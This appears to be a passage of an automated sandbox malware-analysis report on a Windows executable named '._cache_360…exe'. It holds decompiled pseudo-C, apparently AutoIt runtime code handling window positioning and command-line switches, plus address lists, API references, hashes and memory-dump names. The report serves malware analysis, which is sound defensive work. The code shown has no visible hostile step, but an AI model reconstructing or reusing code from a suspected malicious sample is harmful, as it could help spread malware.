												if((__bl & __cl) == 0 && (__cl & 0x00000010) != 0) {
													__edx =  *0x4a844c;
													__eax = ( *0x4a844c)[__eax];
													__eax =  *__eax;
													__ecx =  *((short*)(__eax + 0x86));
													__edx =  *((short*)(__eax + 0x84));
													_push(0);
													_push( *((short*)(__eax + 0x86)));
													__ecx =  *((short*)(__eax + 0x82));
													_push( *((short*)(__eax + 0x84)));
													__edx =  *((short*)(__eax + 0x80));
													__eax =  *__eax;
													_push(__ecx);
													_push(__edx);
													_push(__eax);
													__eax =  *0x482688();
													__ecx =  *(__esi + 0x30);
													__edx = _v152;
													_push(0);
													_push( *(__esi + 0x30));
													_push(0x469);
													_push(_v152);
													__eax =  *0x482650();
												}
											}
										}
										goto L62;
										L20:
										__eax = __eax + 1;
									} while (__eax <=  *0x4a845c);
								}
								goto L62;
							case 7:
								if((__ebx & 0x00000200) != 0) {
									__edx = _v124;
									__eax =  *_v124;
									_push(0);
									_push(__edi);
									_push(0x401);
									_push( *_v124);
									 *0x482650() =  *0x48262c();
									if( *_v124 == __esi->i) {
										__ecx = _v136;
										__eax = E00441C1E(_v136, __edi);
									}
									goto L61;
								}
								goto L62;
							case 8:
								__eax = __ebx;
								__eax = __ebx & 0x00000007;
								if(__eax != 0) {
									__edx = _v128;
									_push(0);
									_push(__eax);
									_push(0xf1);
									_push(_v128);
									__eax =  *0x482650();
									goto L61;
								}
								goto L62;
							case 9:
								_t189 = _t197 & 0x00000007;
								if(_t189 != 0) {
									_push(_t189 & 0x00000003);
									_push(_t223);
									L004413F0();
									L61:
									_v140 = 1;
								}
								goto L62;
							case 0xa:
								goto L62;
						}
					}
				} else {
					L1:
					return 0;
				}
				L97:
			}



































                                                                                                                                                                            0x00448769
                                                                                                                                                                            0x00448785
                                                                                                                                                                            0x00448792
                                                                                                                                                                            0x004487a0
                                                                                                                                                                            0x004487a6
                                                                                                                                                                            0x004487ad
                                                                                                                                                                            0x004487b5
                                                                                                                                                                            0x004487bb
                                                                                                                                                                            0x004487bf
                                                                                                                                                                            0x004487c3
                                                                                                                                                                            0x004487cd
                                                                                                                                                                            0x004487cf
                                                                                                                                                                            0x004487cf
                                                                                                                                                                            0x004487d3
                                                                                                                                                                            0x004487d8
                                                                                                                                                                            0x004487dc
                                                                                                                                                                            0x004487e4
                                                                                                                                                                            0x004487e9
                                                                                                                                                                            0x004487e9
                                                                                                                                                                            0x004487f7
                                                                                                                                                                            0x0044880a
                                                                                                                                                                            0x00448810
                                                                                                                                                                            0x00448810
                                                                                                                                                                            0x0044881d
                                                                                                                                                                            0x00448823
                                                                                                                                                                            0x00448b7f
                                                                                                                                                                            0x00448b7f
                                                                                                                                                                            0x00448b85
                                                                                                                                                                            0x00448b87
                                                                                                                                                                            0x00448b8b
                                                                                                                                                                            0x00448b91
                                                                                                                                                                            0x00448b95
                                                                                                                                                                            0x00448b97
                                                                                                                                                                            0x00448ba1
                                                                                                                                                                            0x00448ba6
                                                                                                                                                                            0x00448bab
                                                                                                                                                                            0x00448bb1
                                                                                                                                                                            0x00448bb1
                                                                                                                                                                            0x00448bb7
                                                                                                                                                                            0x00448bbc
                                                                                                                                                                            0x00448bc1
                                                                                                                                                                            0x00448bc7
                                                                                                                                                                            0x00448bc7
                                                                                                                                                                            0x00448bcd
                                                                                                                                                                            0x00448bd0
                                                                                                                                                                            0x00448bd2
                                                                                                                                                                            0x00448bd2
                                                                                                                                                                            0x00448bd7
                                                                                                                                                                            0x00448bda
                                                                                                                                                                            0x00448bde
                                                                                                                                                                            0x00448be0
                                                                                                                                                                            0x00448be0
                                                                                                                                                                            0x00448be5
                                                                                                                                                                            0x00448be7
                                                                                                                                                                            0x00448be7
                                                                                                                                                                            0x00448bf2
                                                                                                                                                                            0x00448bf4
                                                                                                                                                                            0x00448bf4
                                                                                                                                                                            0x00448c04
                                                                                                                                                                            0x00448c0a
                                                                                                                                                                            0x00448c12
                                                                                                                                                                            0x00448c2a
                                                                                                                                                                            0x00448c32
                                                                                                                                                                            0x00448c37
                                                                                                                                                                            0x00448c37
                                                                                                                                                                            0x00448c3e
                                                                                                                                                                            0x00448c43
                                                                                                                                                                            0x00448c4a
                                                                                                                                                                            0x00448c58
                                                                                                                                                                            0x00448c58
                                                                                                                                                                            0x00448c4a
                                                                                                                                                                            0x00448c66
                                                                                                                                                                            0x00448c14
                                                                                                                                                                            0x00448c18
                                                                                                                                                                            0x00448c23
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448c23
                                                                                                                                                                            0x00448c12
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448829
                                                                                                                                                                            0x00448830
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448b38
                                                                                                                                                                            0x00448b3b
                                                                                                                                                                            0x00448c78
                                                                                                                                                                            0x00448c7c
                                                                                                                                                                            0x00448c7e
                                                                                                                                                                            0x00448c80
                                                                                                                                                                            0x00448c85
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448b41
                                                                                                                                                                            0x00448b44
                                                                                                                                                                            0x00448b5c
                                                                                                                                                                            0x00448b60
                                                                                                                                                                            0x00448b65
                                                                                                                                                                            0x00448b67
                                                                                                                                                                            0x00448b6c
                                                                                                                                                                            0x00448b6d
                                                                                                                                                                            0x00448b75
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448b46
                                                                                                                                                                            0x00448b46
                                                                                                                                                                            0x00448b54
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448b54
                                                                                                                                                                            0x00448b44
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044892e
                                                                                                                                                                            0x00448934
                                                                                                                                                                            0x0044893f
                                                                                                                                                                            0x00448946
                                                                                                                                                                            0x00448948
                                                                                                                                                                            0x0044894e
                                                                                                                                                                            0x0044894e
                                                                                                                                                                            0x00448954
                                                                                                                                                                            0x00448955
                                                                                                                                                                            0x00448957
                                                                                                                                                                            0x00448958
                                                                                                                                                                            0x00448962
                                                                                                                                                                            0x00448969
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448969
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448a2a
                                                                                                                                                                            0x00448a2d
                                                                                                                                                                            0x00448a36
                                                                                                                                                                            0x00448a3e
                                                                                                                                                                            0x00448a46
                                                                                                                                                                            0x00448a56
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448a65
                                                                                                                                                                            0x00448a67
                                                                                                                                                                            0x00448a69
                                                                                                                                                                            0x00448a69
                                                                                                                                                                            0x00448a74
                                                                                                                                                                            0x00448a76
                                                                                                                                                                            0x00448a76
                                                                                                                                                                            0x00448a80
                                                                                                                                                                            0x00448a82
                                                                                                                                                                            0x00448a82
                                                                                                                                                                            0x00448a8f
                                                                                                                                                                            0x00448a96
                                                                                                                                                                            0x00448a96
                                                                                                                                                                            0x00448a9b
                                                                                                                                                                            0x00448a9e
                                                                                                                                                                            0x00448aa2
                                                                                                                                                                            0x00448aab
                                                                                                                                                                            0x00448aaf
                                                                                                                                                                            0x00448abb
                                                                                                                                                                            0x00448ac2
                                                                                                                                                                            0x00448ac5
                                                                                                                                                                            0x00448ad6
                                                                                                                                                                            0x00448ae2
                                                                                                                                                                            0x00448ae4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448ae4
                                                                                                                                                                            0x00448abd
                                                                                                                                                                            0x00448abd
                                                                                                                                                                            0x00448abf
                                                                                                                                                                            0x00448ae6
                                                                                                                                                                            0x00448ae6
                                                                                                                                                                            0x00448aea
                                                                                                                                                                            0x00448aea
                                                                                                                                                                            0x00448af0
                                                                                                                                                                            0x00448af4
                                                                                                                                                                            0x00448af7
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448af7
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448974
                                                                                                                                                                            0x00448977
                                                                                                                                                                            0x00448979
                                                                                                                                                                            0x0044897a
                                                                                                                                                                            0x00448980
                                                                                                                                                                            0x00448985
                                                                                                                                                                            0x0044898a
                                                                                                                                                                            0x0044898c
                                                                                                                                                                            0x0044898e
                                                                                                                                                                            0x00448993
                                                                                                                                                                            0x00448998
                                                                                                                                                                            0x0044899c
                                                                                                                                                                            0x004489a4
                                                                                                                                                                            0x004489ac
                                                                                                                                                                            0x004489b6
                                                                                                                                                                            0x004489bb
                                                                                                                                                                            0x004489bb
                                                                                                                                                                            0x004489bf
                                                                                                                                                                            0x004489c2
                                                                                                                                                                            0x004489c8
                                                                                                                                                                            0x004489d5
                                                                                                                                                                            0x004489dd
                                                                                                                                                                            0x004489df
                                                                                                                                                                            0x004489e2
                                                                                                                                                                            0x004489ee
                                                                                                                                                                            0x004489ee
                                                                                                                                                                            0x004489f5
                                                                                                                                                                            0x004489fb
                                                                                                                                                                            0x00448a0a
                                                                                                                                                                            0x00448a0f
                                                                                                                                                                            0x00448a14
                                                                                                                                                                            0x00448a17
                                                                                                                                                                            0x00448a23
                                                                                                                                                                            0x00448a23
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448c8b
                                                                                                                                                                            0x00448c8e
                                                                                                                                                                            0x00448c95
                                                                                                                                                                            0x00448c96
                                                                                                                                                                            0x00448c98
                                                                                                                                                                            0x00448c9d
                                                                                                                                                                            0x00448c9e
                                                                                                                                                                            0x00448ca6
                                                                                                                                                                            0x00448cb1
                                                                                                                                                                            0x00448cbe
                                                                                                                                                                            0x00448cc3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448cc9
                                                                                                                                                                            0x00448cc9
                                                                                                                                                                            0x00448ccb
                                                                                                                                                                            0x00448ccc
                                                                                                                                                                            0x00448cd0
                                                                                                                                                                            0x00448cd8
                                                                                                                                                                            0x00448ce0
                                                                                                                                                                            0x00448ce8
                                                                                                                                                                            0x00448cf1
                                                                                                                                                                            0x00448cf2
                                                                                                                                                                            0x00448cf4
                                                                                                                                                                            0x00448cf8
                                                                                                                                                                            0x00448cf9
                                                                                                                                                                            0x00448cfb
                                                                                                                                                                            0x00448cfd
                                                                                                                                                                            0x00448d02
                                                                                                                                                                            0x00448d07
                                                                                                                                                                            0x00448d0c
                                                                                                                                                                            0x00448d0d
                                                                                                                                                                            0x00448d15
                                                                                                                                                                            0x00448d19
                                                                                                                                                                            0x00448d1f
                                                                                                                                                                            0x00448d1f
                                                                                                                                                                            0x00448d29
                                                                                                                                                                            0x00448c6b
                                                                                                                                                                            0x00448c75
                                                                                                                                                                            0x00448d2f
                                                                                                                                                                            0x00448d34
                                                                                                                                                                            0x00448d36
                                                                                                                                                                            0x00448d36
                                                                                                                                                                            0x00448d44
                                                                                                                                                                            0x00448d46
                                                                                                                                                                            0x00448d46
                                                                                                                                                                            0x00448d4e
                                                                                                                                                                            0x00448d52
                                                                                                                                                                            0x00448d53
                                                                                                                                                                            0x00448d54
                                                                                                                                                                            0x00448d59
                                                                                                                                                                            0x00448d5a
                                                                                                                                                                            0x00448d62
                                                                                                                                                                            0x00448d68
                                                                                                                                                                            0x00448d69
                                                                                                                                                                            0x00448d6a
                                                                                                                                                                            0x00448d6e
                                                                                                                                                                            0x00448d6e
                                                                                                                                                                            0x00448d29
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448877
                                                                                                                                                                            0x00448882
                                                                                                                                                                            0x00448889
                                                                                                                                                                            0x00448889
                                                                                                                                                                            0x0044888f
                                                                                                                                                                            0x00448895
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448897
                                                                                                                                                                            0x00448897
                                                                                                                                                                            0x00448899
                                                                                                                                                                            0x0044889c
                                                                                                                                                                            0x004488a3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004488c3
                                                                                                                                                                            0x004488c3
                                                                                                                                                                            0x004488cb
                                                                                                                                                                            0x004488da
                                                                                                                                                                            0x004488e0
                                                                                                                                                                            0x004488e3
                                                                                                                                                                            0x004488e5
                                                                                                                                                                            0x004488ec
                                                                                                                                                                            0x004488f3
                                                                                                                                                                            0x004488f5
                                                                                                                                                                            0x004488f6
                                                                                                                                                                            0x004488fd
                                                                                                                                                                            0x004488fe
                                                                                                                                                                            0x00448905
                                                                                                                                                                            0x00448907
                                                                                                                                                                            0x00448908
                                                                                                                                                                            0x00448909
                                                                                                                                                                            0x0044890a
                                                                                                                                                                            0x00448910
                                                                                                                                                                            0x00448913
                                                                                                                                                                            0x00448917
                                                                                                                                                                            0x00448919
                                                                                                                                                                            0x0044891a
                                                                                                                                                                            0x0044891f
                                                                                                                                                                            0x00448920
                                                                                                                                                                            0x00448920
                                                                                                                                                                            0x004488cb
                                                                                                                                                                            0x004488a3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004488b5
                                                                                                                                                                            0x004488b5
                                                                                                                                                                            0x004488b6
                                                                                                                                                                            0x004488be
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448b05
                                                                                                                                                                            0x00448b07
                                                                                                                                                                            0x00448b0b
                                                                                                                                                                            0x00448b0d
                                                                                                                                                                            0x00448b0f
                                                                                                                                                                            0x00448b10
                                                                                                                                                                            0x00448b15
                                                                                                                                                                            0x00448b1c
                                                                                                                                                                            0x00448b24
                                                                                                                                                                            0x00448b26
                                                                                                                                                                            0x00448b2c
                                                                                                                                                                            0x00448b2c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448b24
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448851
                                                                                                                                                                            0x00448853
                                                                                                                                                                            0x00448856
                                                                                                                                                                            0x0044885c
                                                                                                                                                                            0x00448860
                                                                                                                                                                            0x00448865
                                                                                                                                                                            0x00448866
                                                                                                                                                                            0x0044886b
                                                                                                                                                                            0x0044886c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044886c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448839
                                                                                                                                                                            0x0044883c
                                                                                                                                                                            0x00448845
                                                                                                                                                                            0x00448846
                                                                                                                                                                            0x00448847
                                                                                                                                                                            0x00448b77
                                                                                                                                                                            0x00448b77
                                                                                                                                                                            0x00448b77
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00448830
                                                                                                                                                                            0x00448787
                                                                                                                                                                            0x00448787
                                                                                                                                                                            0x0044878f
                                                                                                                                                                            0x0044878f
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                            • SetWindowPos.USER32(004A83D8,00000000,00000000,00000000,00000000,00000000,00000013,004A83D8,?,?), ref: 0044880A
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Window
                                                                                                                                                                            • String ID: 0
                                                                                                                                                                            • API String ID: 2353593579-4108050209
                                                                                                                                                                            • Opcode ID: ca380a5f1b7b22306afb7d181ee8588f63c71b92ae7430e038360cbc2591eaeb
                                                                                                                                                                            • Instruction ID: 13976ff69904029c6bcd7d6129a783336058688c161485e0dcc644b2654616cc
                                                                                                                                                                            • Opcode Fuzzy Hash: ca380a5f1b7b22306afb7d181ee8588f63c71b92ae7430e038360cbc2591eaeb
                                                                                                                                                                            • Instruction Fuzzy Hash: 94B19DB02443419FF324CF14C889BABBBE4EB89744F14491EF991972D1DBB8E845CB5A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00401F80 Relevance: 28.2, APIs: 8, Strings: 8, Instructions: 213COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 88%
                                                                                                                                                                            			E00401F80(void* __ecx, void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t79;
				void* _t82;
				void* _t85;
				void* _t94;
				intOrPtr* _t101;
				void* _t105;
				void* _t109;
				void* _t118;
				void* _t119;
				void* _t120;
				intOrPtr _t148;
				intOrPtr* _t158;
				intOrPtr _t162;
				void* _t163;
				void* _t164;
				void* _t165;
				void* _t166;
				void* _t167;
				void* _t168;
				void* _t170;

				_t170 = __eflags;
				_t141 = __edx;
				E0040E680(_t163 + 0x3c);
				_push( *((intOrPtr*)(_t163 + 0x64)));
				 *((intOrPtr*)(_t163 + 0x18)) = 0;
				E00402940(_t163 + 0x3c, __edx);
				GetModuleFileNameW(0, L"C:\\Users\\alfons\\Desktop\\._cache_360#U6d4b#U901f.exe", 0x104);
				_t119 = E0040FF90(L"C:\\Users\\alfons\\Desktop\\._cache_360#U6d4b#U901f.exe", _t118, _t141, _t163 + 0x3c, 0, _t170);
				 *0x4a7cf8 = L"C:\\Users\\alfons\\Desktop\\._cache_360#U6d4b#U901f.exe";
				E004107B0(_t163 + 0x3c, _t163 + 0x28, _t163 + 0x40, _t170);
				E00401B70(_t119, L"CMDLINERAW", _t163 + 0x18, _t170);
				E004019E0(0, 1, _t163 + 0x28, _t163 + 0x18);
				E00402620(_t163 + 0x18);
				E004092C0(L"CMDLINERAW", _t163 + 0x28);
				 *((intOrPtr*)(_t163 + 0x30)) = 1;
				 *((intOrPtr*)(_t163 + 0x28)) = 0;
				E00401B70(_t119, L"CMDLINE", _t163 + 0x18, _t170);
				E004019E0(0, 0x100, _t163 + 0x28, _t163 + 0x18);
				E00402620(_t163 + 0x18);
				E00401B70(_t119, L"CMDLINE", _t163 + 0x18, _t170);
				_t144 = _t163 + 0x68;
				E0040C3E0(0, _t163 + 0x18, _t163 + 0x68, _t163 + 0x14);
				E00402620(_t163 + 0x18);
				_t162 =  *((intOrPtr*)(_t163 + 0x58));
				E0040C060(_t163 + 0x18, _t170);
				E00401A70(_t163 + 0x3c, _t119, _t163 + 0x18, _t163 + 0x18);
				_t156 =  *((intOrPtr*)(_t163 + 0x18));
				_t79 = E004115D0(_t163 + 0x68, L"/ErrorStdOut",  *((intOrPtr*)(_t163 + 0x18)));
				_t164 = _t163 + 8;
				if(_t79 == 0) {
					 *0x497290 = 1;
					_t162 = _t162 - 1;
					E00401A70(_t164 + 0x3c, _t119, _t164 + 0x18, _t156);
					_t156 =  *((intOrPtr*)(_t164 + 0x18));
				}
				_t82 = E004115D0(_t144, L"/AutoIt3OutputDebug", _t156);
				_t165 = _t164 + 8;
				if(_t82 == 0) {
					 *0x49728f = 1;
					_t162 = _t162 - 1;
					E00401A70(_t165 + 0x3c, _t119, _t165 + 0x18, _t156);
					_t156 =  *((intOrPtr*)(_t165 + 0x18));
				}
				_t85 = E004115D0(_t144, L"/AutoIt3ExecuteLine", _t156);
				_t166 = _t165 + 8;
				if(_t85 == 0) {
					__eflags = _t119;
					 *0x4a7d00 = 1;
					 *0x4a7cfc = 0 | _t119 == 0x00000000;
					GetModuleFileNameW(0, L"C:\\Users\\alfons\\Desktop\\._cache_360#U6d4b#U901f.exe", 0x104);
					E00401A70(_t166 + 0x3c, _t119, _t166 + 0x18, _t156);
					E0040DF50(0x4a7d04, _t166 + 0x18);
					_t136 = _t166 + 0x18;
					_t162 = _t162 - 2;
					E00401A70(_t166 + 0x3c, _t119, _t166 + 0x18, 0x4a7d04);
					_t156 =  *((intOrPtr*)(_t166 + 0x18));
				}
				_t94 = E004115D0(_t144, L"/AutoIt3ExecuteScript", _t156);
				_t167 = _t166 + 8;
				if(_t94 == 0) {
					if(_t119 != 0) {
						 *0x4a7cfc = 0;
					} else {
						 *0x4a7cfc = 3;
					}
					E00401A70(_t167 + 0x3c, _t119, _t167 + 0x18, _t156);
					_t144 =  *((intOrPtr*)(_t167 + 0x18));
					E00411691(L"C:\\Users\\alfons\\Desktop\\._cache_360#U6d4b#U901f.exe",  *((intOrPtr*)(_t167 + 0x18)));
					_t167 = _t167 + 8;
					_t136 = _t167 + 0x18;
					_t162 = _t162 - 2;
					E00401A70(_t167 + 0x3c, _t119, _t167 + 0x18, _t156);
					_t156 =  *((intOrPtr*)(_t167 + 0x18));
				}
				if(L"C:\\Users\\alfons\\Desktop\\._cache_360#U6d4b#U901f.exe" == 0) {
					E00411691(L"C:\\Users\\alfons\\Desktop\\._cache_360#U6d4b#U901f.exe", _t156);
					_t167 = _t167 + 8;
					_t136 = _t167 + 0x18;
					_t162 = _t162 - 1;
					E00401A70(_t167 + 0x3c, _t119, _t167 + 0x18, _t156);
				}
				if(_t162 < 0) {
					_t162 = 0;
				}
				_t148 =  *((intOrPtr*)(_t167 + 0x64));
				_push(_t162 + 1);
				_push(1);
				E0040E7E0(_t148, _t136);
				_push(0);
				_push(1);
				_push(0);
				_push(_t148);
				_t101 = E0040D030();
				_t168 = _t167 + 0x18;
				_t158 = _t101;
				E004092C0(_t148, _t158);
				 *((intOrPtr*)(_t158 + 8)) = 1;
				 *_t158 = _t162;
				if(_t162 > 0) {
					_t120 = 0;
					while(1) {
						_t120 = _t120 + 1;
						_push(_t120);
						_push(1);
						_push(0);
						_push(_t148);
						_t109 = E0040D030();
						_t168 = _t168 + 0x10;
						_t148 = _t168 + 0x18;
						E0040E640(_t120, _t136, _t148, _t109, 0);
						_t136 = _t148;
						E00401A70(_t168 + 0x3c, _t120, _t148, _t109);
						_t181 = _t120 - _t162;
						if(_t120 >= _t162) {
							goto L12;
						}
						_t148 =  *((intOrPtr*)(_t168 + 0x64));
					}
				}
				L12:
				E00402620(_t168 + 0x18);
				_t105 = E00401A30(E004092C0(_t148, _t168 + 0x28), _t168 + 0x50);
				 *(_t168 + 0x3c) = 0;
				 *((intOrPtr*)(_t168 + 0x50)) = 0x4848ec;
				E00401A30(_t105, _t168 + 0x50);
				E004112EF(_t119, _t144, _t168 + 0x50, _t168 + 0x28, _t181,  *((intOrPtr*)(_t168 + 0x54)));
				return E00402620(_t168 + 0x44);
			}



























                                                                                                                                                                            0x00401f80
                                                                                                                                                                            0x00401f80
                                                                                                                                                                            0x00401f8b
                                                                                                                                                                            0x00401f96
                                                                                                                                                                            0x00401f99
                                                                                                                                                                            0x00401f9d
                                                                                                                                                                            0x00401fad
                                                                                                                                                                            0x00401fc5
                                                                                                                                                                            0x00401fc7
                                                                                                                                                                            0x00401fd1
                                                                                                                                                                            0x00401fdf
                                                                                                                                                                            0x00401fed
                                                                                                                                                                            0x00401ff4
                                                                                                                                                                            0x00401ffd
                                                                                                                                                                            0x0040200b
                                                                                                                                                                            0x00402013
                                                                                                                                                                            0x00402017
                                                                                                                                                                            0x00402027
                                                                                                                                                                            0x0040202e
                                                                                                                                                                            0x00402037
                                                                                                                                                                            0x00402041
                                                                                                                                                                            0x00402048
                                                                                                                                                                            0x0040204f
                                                                                                                                                                            0x00402054
                                                                                                                                                                            0x0040205c
                                                                                                                                                                            0x00402069
                                                                                                                                                                            0x0040206e
                                                                                                                                                                            0x00402078
                                                                                                                                                                            0x0040207d
                                                                                                                                                                            0x00402082
                                                                                                                                                                            0x0042c17c
                                                                                                                                                                            0x0042c183
                                                                                                                                                                            0x0042c184
                                                                                                                                                                            0x0042c189
                                                                                                                                                                            0x0042c189
                                                                                                                                                                            0x0040208e
                                                                                                                                                                            0x00402093
                                                                                                                                                                            0x00402098
                                                                                                                                                                            0x0042c19a
                                                                                                                                                                            0x0042c1a1
                                                                                                                                                                            0x0042c1a2
                                                                                                                                                                            0x0042c1a7
                                                                                                                                                                            0x0042c1a7
                                                                                                                                                                            0x004020a4
                                                                                                                                                                            0x004020a9
                                                                                                                                                                            0x004020ae
                                                                                                                                                                            0x0042c1b2
                                                                                                                                                                            0x0042c1c3
                                                                                                                                                                            0x0042c1ca
                                                                                                                                                                            0x0042c1cf
                                                                                                                                                                            0x0042c1dd
                                                                                                                                                                            0x0042c1ec
                                                                                                                                                                            0x0042c1f1
                                                                                                                                                                            0x0042c1f9
                                                                                                                                                                            0x0042c1fc
                                                                                                                                                                            0x0042c201
                                                                                                                                                                            0x0042c201
                                                                                                                                                                            0x004020ba
                                                                                                                                                                            0x004020bf
                                                                                                                                                                            0x004020c4
                                                                                                                                                                            0x004020c8
                                                                                                                                                                            0x0042c20a
                                                                                                                                                                            0x004020ce
                                                                                                                                                                            0x004020ce
                                                                                                                                                                            0x004020ce
                                                                                                                                                                            0x004020e0
                                                                                                                                                                            0x004020e5
                                                                                                                                                                            0x004020ef
                                                                                                                                                                            0x004020f4
                                                                                                                                                                            0x004020f7
                                                                                                                                                                            0x004020ff
                                                                                                                                                                            0x00402102
                                                                                                                                                                            0x00402107
                                                                                                                                                                            0x00402107
                                                                                                                                                                            0x00402113
                                                                                                                                                                            0x0042c21f
                                                                                                                                                                            0x0042c224
                                                                                                                                                                            0x0042c227
                                                                                                                                                                            0x0042c22f
                                                                                                                                                                            0x0042c230
                                                                                                                                                                            0x0042c230
                                                                                                                                                                            0x0040211b
                                                                                                                                                                            0x0042c243
                                                                                                                                                                            0x0042c243
                                                                                                                                                                            0x00402121
                                                                                                                                                                            0x00402128
                                                                                                                                                                            0x00402129
                                                                                                                                                                            0x0040212d
                                                                                                                                                                            0x00402132
                                                                                                                                                                            0x00402134
                                                                                                                                                                            0x00402136
                                                                                                                                                                            0x00402138
                                                                                                                                                                            0x00402139
                                                                                                                                                                            0x0040213e
                                                                                                                                                                            0x00402141
                                                                                                                                                                            0x00402143
                                                                                                                                                                            0x00402148
                                                                                                                                                                            0x0040214f
                                                                                                                                                                            0x00402153
                                                                                                                                                                            0x00402155
                                                                                                                                                                            0x00402157
                                                                                                                                                                            0x00402157
                                                                                                                                                                            0x00402158
                                                                                                                                                                            0x00402159
                                                                                                                                                                            0x0040215b
                                                                                                                                                                            0x0040215d
                                                                                                                                                                            0x0040215e
                                                                                                                                                                            0x00402163
                                                                                                                                                                            0x00402166
                                                                                                                                                                            0x0040216c
                                                                                                                                                                            0x00402171
                                                                                                                                                                            0x00402177
                                                                                                                                                                            0x0040217c
                                                                                                                                                                            0x0040217e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042c23a
                                                                                                                                                                            0x0042c23a
                                                                                                                                                                            0x00402157
                                                                                                                                                                            0x00402184
                                                                                                                                                                            0x00402188
                                                                                                                                                                            0x0040219a
                                                                                                                                                                            0x0040219f
                                                                                                                                                                            0x004021a7
                                                                                                                                                                            0x004021af
                                                                                                                                                                            0x004021b9
                                                                                                                                                                            0x004021d1

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe,00000104,?,?,?,?,00000000), ref: 00401FAD
                                                                                                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                            • __wcsicoll.LIBCMT ref: 00402078
                                                                                                                                                                            • __wcsicoll.LIBCMT ref: 0040208E
                                                                                                                                                                            • __wcsicoll.LIBCMT ref: 004020A4
                                                                                                                                                                              • Part of subcall function 004115D0: __wcsicmp_l.LIBCMT ref: 00411657
                                                                                                                                                                            • __wcsicoll.LIBCMT ref: 004020BA
                                                                                                                                                                            • _wcscpy.LIBCMT ref: 004020EF
                                                                                                                                                                            • GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe,00000104,?,?,?,?,?,00000000), ref: 0042C1CF
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
